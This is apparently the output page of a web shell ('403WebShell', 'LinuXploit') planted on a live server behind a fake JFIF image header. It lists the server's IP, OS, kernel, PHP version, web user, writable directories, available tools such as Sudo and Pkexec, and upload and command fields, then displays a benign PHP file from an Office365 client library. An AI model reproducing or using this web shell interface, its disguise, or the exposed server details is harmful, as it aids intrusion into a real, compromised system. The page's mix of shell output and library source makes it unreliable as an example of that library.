????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.216.8.36
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/bin/vendor/vgrem/php-spo/src/Runtime/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/vendor/vgrem/php-spo/src/Runtime/ResourcePathServiceOperation.php
<?php


namespace Office365\Runtime;
use Exception;
use Office365\Runtime\CSOM\ICSOMCallable;
use SimpleXMLElement;

/**
 * Resource path to address Service Operations which represents simple functions exposed by an OData service
 */
class ResourcePathServiceOperation extends ResourcePath implements ICSOMCallable
{
    /**
     * ResourcePathMethod constructor.
     * @param string $methodName
     * @param array|ClientObject|ClientValue $methodParameters
     * @param ResourcePath|null $parent
     */
    public function __construct($methodName=null, $methodParameters = null,ResourcePath $parent=null)
    {
        parent::__construct($this->buildSegment($methodName,$methodParameters), $parent);
        $this->methodName = $methodName;
        $this->methodParameters = $methodParameters;
    }


    /**
     * @param string $methodName
     * @param array $methodParameters
     * @return string|null
     */
    private function buildSegment($methodName,$methodParameters)
    {
        $url = isset($methodName) ? $methodName : "";
        if (!isset($methodParameters) || !is_array($methodParameters))
            return $url;

        if (count(array_filter(array_keys($methodParameters), 'is_string')) === 0) {
            $url = $url . "(" . implode(',', array_map(
                        function ($value) {
                            $encValue = self::escapeValue($value);
                            return "$encValue";
                        }, $methodParameters)
                ) . ")";
        } else {
            $url = $url . "(" . implode(',', array_map(
                        function ($key, $value) {
                            $encValue = self::escapeValue($value);
                            return "$key=$encValue";
                        }, array_keys($methodParameters), $methodParameters)
                ) . ")";
        }
        return $url;
    }

    private static function escapeValue($value)
    {
        if (is_string($value))
            $value = "'" . $value . "'";
        elseif (is_bool($value))
            $value = var_export($value, true);
        return $value;
    }

    function buildQuery(SimpleXMLElement $writer)
    {
        throw new Exception("Not implemented");
    }


    /**
     * @return string|null
     */
    function getMethodName(){
        return $this->methodName;
    }

    /**
     * @return array|ClientObject|ClientValue|null
     */
    function getMethodParameters(){
        return $this->methodParameters;
    }

    /**
     * @var array|ClientObject|ClientValue
     */
    protected $methodParameters;

    /**
     * @var string
     */
    protected $methodName;

}

Youez - 2016 - github.com/yon3zu
LinuXploit